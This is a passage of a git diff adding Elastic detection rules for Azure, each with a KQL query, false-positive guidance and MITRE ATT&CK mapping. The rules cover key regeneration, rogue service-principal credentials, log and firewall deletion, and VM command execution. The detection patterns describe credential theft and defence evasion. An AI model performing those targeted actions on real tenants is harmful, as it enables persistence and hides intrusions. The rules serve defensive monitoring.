storage account key. Adversaries may regenerate a key as a means of acquiring +credentials to access systems and resources. +""" +false_positives = [ + """ + It's recommended that you rotate your access keys periodically to help keep your storage account secure. Normal key + rotation can be exempted from the rule. An abnormal time frame and/or a key rotation from unfamiliar users, hosts, + or locations should be investigated. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Storage Account Key Regenerated" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage?tabs=azure-portal", +] +risk_score = 21 +rule_id = "1e0b832e-957e-43ae-b319-db82d228c908" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.STORAGE/STORAGEACCOUNTS/REGENERATEKEY/ACTION" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1528" +name = "Steal Application Access Token" +reference = "https://attack.mitre.org/techniques/T1528/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/integrations/azure/defense_evasion_azure_application_credential_modification.toml b/rules/integrations/azure/defense_evasion_azure_application_credential_modification.toml new file mode 100644 index 000000000..e3180ce57 --- /dev/null +++ b/rules/integrations/azure/defense_evasion_azure_application_credential_modification.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2020/12/14" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a new credential is added to an application in Azure. An application may use a certificate or secret +string to prove its identity when requesting a token. Multiple certificates and secrets can be added for an application +and an adversary may abuse this by creating an additional authentication method to evade defenses or persist in an +environment. +""" +false_positives = [ + """ + Application credential additions may be done by a system or network administrator. Verify whether the username, + hostname, and/or resource name should be making changes in your environment. Application credential additions from + unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted + from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Application Credential Modification" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", +] +risk_score = 47 +rule_id = "1a36cace-11a7-43a8-9a10-b497c5a02cd3" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Update application - Certificates and secrets management" and event.outcome:(success or Success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1550" +name = "Use Alternate Authentication Material" +reference = "https://attack.mitre.org/techniques/T1550/" +[[rule.threat.technique.subtechnique]] +id = "T1550.001" +name = "Application Access Token" +reference = "https://attack.mitre.org/techniques/T1550/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/azure/defense_evasion_azure_blob_permissions_modified.toml b/rules/integrations/azure/defense_evasion_azure_blob_permissions_modified.toml new file mode 100644 index 000000000..ebaa8f2d1 --- /dev/null +++ b/rules/integrations/azure/defense_evasion_azure_blob_permissions_modified.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2021/09/22" +maturity = "production" +updated_date = "2021/09/22" +integration = "azure" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies when the Azure role-based access control (Azure RBAC) permissions are modified for an Azure +Blob. An adversary may modify the permissions on a blob to weaken their target's security controls +or an administrator may inadvertently modify the permissions, which could lead to data exposure or loss. +""" +false_positives = [ + """ + Blob permissions may be modified by system administrators. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Blob Permissions Modification" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles"] +risk_score = 47 +rule_id = "d79c4b2a-6134-4edd-86e6-564a92a933f9" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:( + "MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/BLOBS/MANAGEOWNERSHIP/ACTION" or + "MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/BLOBS/MODIFYPERMISSIONS/ACTION") and + event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1222" +name = "File and Directory Permissions Modification" +reference = "https://attack.mitre.org/techniques/T1222/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/integrations/azure/defense_evasion_azure_diagnostic_settings_deletion.toml b/rules/integrations/azure/defense_evasion_azure_diagnostic_settings_deletion.toml new file mode 100644 index 000000000..3cf3da2c5 --- /dev/null +++ b/rules/integrations/azure/defense_evasion_azure_diagnostic_settings_deletion.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2020/08/17" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of diagnostic settings in Azure, which send platform logs and metrics to different destinations. +An adversary may delete diagnostic settings in an attempt to evade defenses. +""" +false_positives = [ + """ + Deletion of diagnostic settings may be done by a system or network administrator. Verify whether the username, + hostname, and/or resource name should be making changes in your environment. Diagnostic settings deletion from + unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted + from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Diagnostic Settings Deletion" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings"] +risk_score = 47 +rule_id = "5370d4cd-2bb3-4d71-abf5-1e1d0ff5a2de" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.INSIGHTS/DIAGNOSTICSETTINGS/DELETE" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/azure/defense_evasion_azure_service_principal_addition.toml b/rules/integrations/azure/defense_evasion_azure_service_principal_addition.toml new file mode 100644 index 000000000..49c7baaeb --- /dev/null +++ b/rules/integrations/azure/defense_evasion_azure_service_principal_addition.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2020/12/14" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a new service principal is added in Azure. An application, hosted service, or automated tool that +accesses or modifies resources needs an identity created. This identity is known as a service principal. For security +reasons, it's always recommended to use service principals with automated tools rather than allowing them to log in with +a user identity. +""" +false_positives = [ + """ + A service principal may be created by a system or network administrator. Verify whether the username, hostname, + and/or resource name should be making changes in your environment. Service principal additions from unfamiliar users + or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Service Principal Addition" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "https://docs.microsoft.com/en-us/azure/active-directory/develop/howto-create-service-principal-portal", +] +risk_score = 47 +rule_id = "60b6b72f-0fbc-47e7-9895-9ba7627a8b50" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Add service principal" and event.outcome:(success or Success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1550" +name = "Use Alternate Authentication Material" +reference = "https://attack.mitre.org/techniques/T1550/" +[[rule.threat.technique.subtechnique]] +id = "T1550.001" +name = "Application Access Token" +reference = "https://attack.mitre.org/techniques/T1550/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/azure/defense_evasion_event_hub_deletion.toml b/rules/integrations/azure/defense_evasion_event_hub_deletion.toml new file mode 100644 index 000000000..3541624e7 --- /dev/null +++ b/rules/integrations/azure/defense_evasion_event_hub_deletion.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/08/18" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies an Event Hub deletion in Azure. An Event Hub is an event processing service that ingests and processes large +volumes of events and data. An adversary may delete an Event Hub in an attempt to evade detection. +""" +false_positives = [ + """ + Event Hub deletions may be done by a system or network administrator. Verify whether the username, hostname, and/or + resource name should be making changes in your environment. Event Hub deletions by unfamiliar users or hosts + should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Event Hub Deletion" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about", + "https://azure.microsoft.com/en-in/services/event-hubs/", + "https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-features", +] +risk_score = 47 +rule_id = "e0f36de1-0342-453d-95a9-a068b257b053" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.EVENTHUB/NAMESPACES/EVENTHUBS/DELETE" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/azure/defense_evasion_firewall_policy_deletion.toml b/rules/integrations/azure/defense_evasion_firewall_policy_deletion.toml new file mode 100644 index 000000000..0f77eecea --- /dev/null +++ b/rules/integrations/azure/defense_evasion_firewall_policy_deletion.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2020/08/18" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of a firewall policy in Azure. An adversary may delete a firewall policy in an attempt to evade +defenses and/or to eliminate barriers to their objective. +""" +false_positives = [ + """ + Firewall policy deletions may be done by a system or network administrator. Verify whether the username, hostname, + and/or resource name should be making changes in your environment. Firewall policy deletions by unfamiliar users + or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Firewall Policy Deletion" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.microsoft.com/en-us/azure/firewall-manager/policy-overview"] +risk_score = 21 +rule_id = "e02bd3ea-72c6-4181-ac2b-0f83d17ad969" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.NETWORK/FIREWALLPOLICIES/DELETE" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/azure/defense_evasion_frontdoor_firewall_policy_deletion.toml b/rules/integrations/azure/defense_evasion_frontdoor_firewall_policy_deletion.toml new file mode 100644 index 000000000..f19083c0c --- /dev/null +++ b/rules/integrations/azure/defense_evasion_frontdoor_firewall_policy_deletion.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2021/08/01" +maturity = "production" +updated_date = "2021/08/01" +integration = "azure" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies the deletion of a Frontdoor Web Application Firewall (WAF) Policy in Azure. An adversary may delete a Frontdoor Web Application Firewall +(WAF) Policy in an attempt to evade defenses and/or to eliminate barriers to their objective. +""" +false_positives = [ + """ + Azure Front Web Application Firewall (WAF) Policy deletions may be done by a system or network administrator. Verify whether the username, + hostname, and/or resource name should be making changes in your environment. Azure Front Web Application Firewall (WAF) Policy deletions by + unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Frontdoor Web Application Firewall (WAF) Policy Deleted" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#networking", +] +risk_score = 21 +rule_id = "09d028a5-dcde-409f-8ae0-557cef1b7082" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.NETWORK/FRONTDOORWEBAPPLICATIONFIREWALLPOLICIES/DELETE" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml b/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml new file mode 100644 index 000000000..1a0c11705 --- /dev/null +++ b/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml @@ -0,0 +1,61 @@ +[metadata] +creation_date = "2021/06/24" +maturity = "production" +updated_date = "2022/02/28" +integration = "azure" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies when events are deleted in Azure Kubernetes. Kubernetes events are objects that log any state changes. +Example events are a container creation, an image pull, or a pod scheduling on a node. An adversary may delete events +in Azure Kubernetes in an attempt to evade detection. +""" +false_positives = [ + """ + Events deletions may be done by a system or network administrator. Verify whether the username, hostname, and/or + resource name should be making changes in your environment. Events deletions by unfamiliar users or hosts + should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Kubernetes Events Deleted" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", +] +risk_score = 47 +rule_id = "8b64d36a-1307-4b2e-a77b-a0027e4d27c8" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE" and +event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/integrations/azure/defense_evasion_network_watcher_deletion.toml b/rules/integrations/azure/defense_evasion_network_watcher_deletion.toml new file mode 100644 index 000000000..7661bcfbf --- /dev/null +++ b/rules/integrations/azure/defense_evasion_network_watcher_deletion.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2020/08/31" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of a Network Watcher in Azure. Network Watchers are used to monitor, diagnose, view metrics, and +enable or disable logs for resources in an Azure virtual network. An adversary may delete a Network Watcher in an +attempt to evade defenses. +""" +false_positives = [ + """ + Network Watcher deletions may be done by a system or network administrator. Verify whether the username, hostname, + and/or resource name should be making changes in your environment. Network Watcher deletions by unfamiliar users + or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Network Watcher Deletion" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.microsoft.com/en-us/azure/network-watcher/network-watcher-monitoring-overview"] +risk_score = 47 +rule_id = "323cb487-279d-4218-bcbd-a568efe930c6" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.NETWORK/NETWORKWATCHERS/DELETE" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/azure/defense_evasion_suppression_rule_created.toml b/rules/integrations/azure/defense_evasion_suppression_rule_created.toml new file mode 100644 index 000000000..4e9991d87 --- /dev/null +++ b/rules/integrations/azure/defense_evasion_suppression_rule_created.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2021/08/27" +maturity = "production" +updated_date = "2022/02/16" +integration = "azure" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies the creation of suppression rules in Azure. Suppression rules are a mechanism used to suppress alerts +previously identified as false positives or too noisy to be in production. This mechanism can be abused or mistakenly +configured, resulting in defense evasions and loss of security visibility. +""" +false_positives = [ + """ + Suppression Rules can be created legitimately by a system administrator. Verify whether the user identity, user + agent, and/or hostname should be making changes in your environment. Suppression Rules created by unfamiliar users + should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Alert Suppression Rule Created or Modified" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://docs.microsoft.com/en-us/rest/api/securitycenter/alerts-suppression-rules/update", +] +risk_score = 21 +rule_id = "f0bc081a-2346-4744-a6a4-81514817e888" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.SECURITY/ALERTSSUPPRESSIONRULES/WRITE" and +event.outcome: "success" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" diff --git a/rules/integrations/azure/discovery_blob_container_access_mod.toml b/rules/integrations/azure/discovery_blob_container_access_mod.toml new file mode 100644 index 000000000..c6f417ddc --- /dev/null +++ b/rules/integrations/azure/discovery_blob_container_access_mod.toml @@ -0,0 +1,65 @@ +[metadata] +creation_date = "2020/08/20" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies changes to container access levels in Azure. Anonymous public read access to containers and blobs in Azure is +a way to share data broadly, but can present a security risk if access to sensitive data is not managed judiciously. +""" +false_positives = [ + """ + Access level modifications may be done by a system or network administrator. Verify whether the username, hostname, + and/or resource name should be making changes in your environment. Access level modifications from unfamiliar users + or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Blob Container Access Level Modification" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-prevent"] +risk_score = 21 +rule_id = "2636aa6c-88b5-4337-9c31-8d0192a8ef45" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/WRITE" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1526" +name = "Cloud Service Discovery" +reference = "https://attack.mitre.org/techniques/T1526/" + + +[rule.threat.tactic] +id = "TA0007" +name = "Discovery" +reference = "https://attack.mitre.org/tactics/TA0007/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1190" +name = "Exploit Public-Facing Application" +reference = "https://attack.mitre.org/techniques/T1190/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/integrations/azure/execution_command_virtual_machine.toml b/rules/integrations/azure/execution_command_virtual_machine.toml new file mode 100644 index 000000000..d14d11ce1 --- /dev/null +++ b/rules/integrations/azure/execution_command_virtual_machine.toml @@ -0,0 +1,60 @@ +[metadata] +creation_date = "2020/08/17" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies command execution on a virtual machine (VM) in Azure. A Virtual Machine Contributor role lets you manage +virtual machines, but not access them, nor access the virtual network or storage account they’re connected to. However, +commands can be run via PowerShell on the VM, which execute as System. Other roles, such as certain Administrator roles +may be able to execute commands on a VM as well. +""" +false_positives = [ + """ + Command execution on a virtual machine may be done by a system or network administrator. Verify whether the + username, hostname, and/or resource name should be making changes in your environment. Command execution from + unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted + from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Command Execution on Virtual Machine" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://adsecurity.org/?p=4277", + "https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a", + "https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-contributor", +] +risk_score = 47 +rule_id = "60884af6-f553-4a6c-af13-300047455491" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/integrations/azure/impact_azure_automation_runbook_deleted.toml b/rules/integrations/azure/impact_azure_automation_runbook_deleted.toml new file mode 100644 index 000000000..2b9b46a0f --- /dev/null +++ b/rules/integrations/azure/impact_azure_automation_runbook_deleted.toml @@ -0,0 +1,37 @@ +[metadata] +creation_date = "2020/09/01" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies when an Azure Automation runbook is deleted. An adversary may delete an Azure Automation runbook in order to +disrupt their target's automated business operations or to remove a malicious runbook that was used for persistence. +""" +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Automation Runbook Deleted" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor", + "https://github.com/hausec/PowerZure", + "https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a", + "https://azure.microsoft.com/en-in/blog/azure-automation-runbook-management/", +] +risk_score = 21 +rule_id = "8ddab73b-3d15-4e5d-9413-47f05553c1d7" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/DELETE" and event.outcome:(Success or success) +''' + diff --git a/rules/integrations/azure/impact_azure_service_principal_credentials_added.toml b/rules/integrations/azure/impact_azure_service_principal_credentials_added.toml new file mode 100644 index 000000000..2d15cabfe --- /dev/null +++ b/rules/integrations/azure/impact_azure_service_principal_credentials_added.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2021/05/05" +maturity = "production" +updated_date = "2022/02/28" +integration = "azure" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies when new Service Principal credentials have been added in Azure. In most organizations, credentials will be +added to service principals infrequently. Hijacking an application (by adding a rogue secret or certificate) with +granted permissions will allow the attacker to access data that is normally protected by MFA requirements. +""" +false_positives = [ + """ + Service principal credential additions may be done by a system or network administrator. Verify whether the + username, hostname, and/or resource name should be making changes in your environment. Credential additions from + unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted + from the rule. + """, +] +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "Azure Service Principal Credentials Added" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://www.fireeye.com/content/dam/collateral/en/wp-m-unc2452.pdf"] +risk_score = 47 +rule_id = "f766ffaf-9568-4909-b734-75d19b35cbf4" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Add service principal credentials" and event.outcome:(success or Success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1496" +name = "Resource Hijacking" +reference = "https://attack.mitre.org/techniques/T1496/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/integrations/azure/impact_kubernetes_pod_deleted.toml b/rules/integrations/azure/impact_kubernetes_pod_deleted.toml new file mode 100644 index 000000000..9b87ebb86 --- /dev/null +++ b/rules/integrations/azure/impact_kubernetes_pod_deleted.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2021/06/24" +maturity = "production" +updated_date = "2021/06/24" +integration = "azure" + 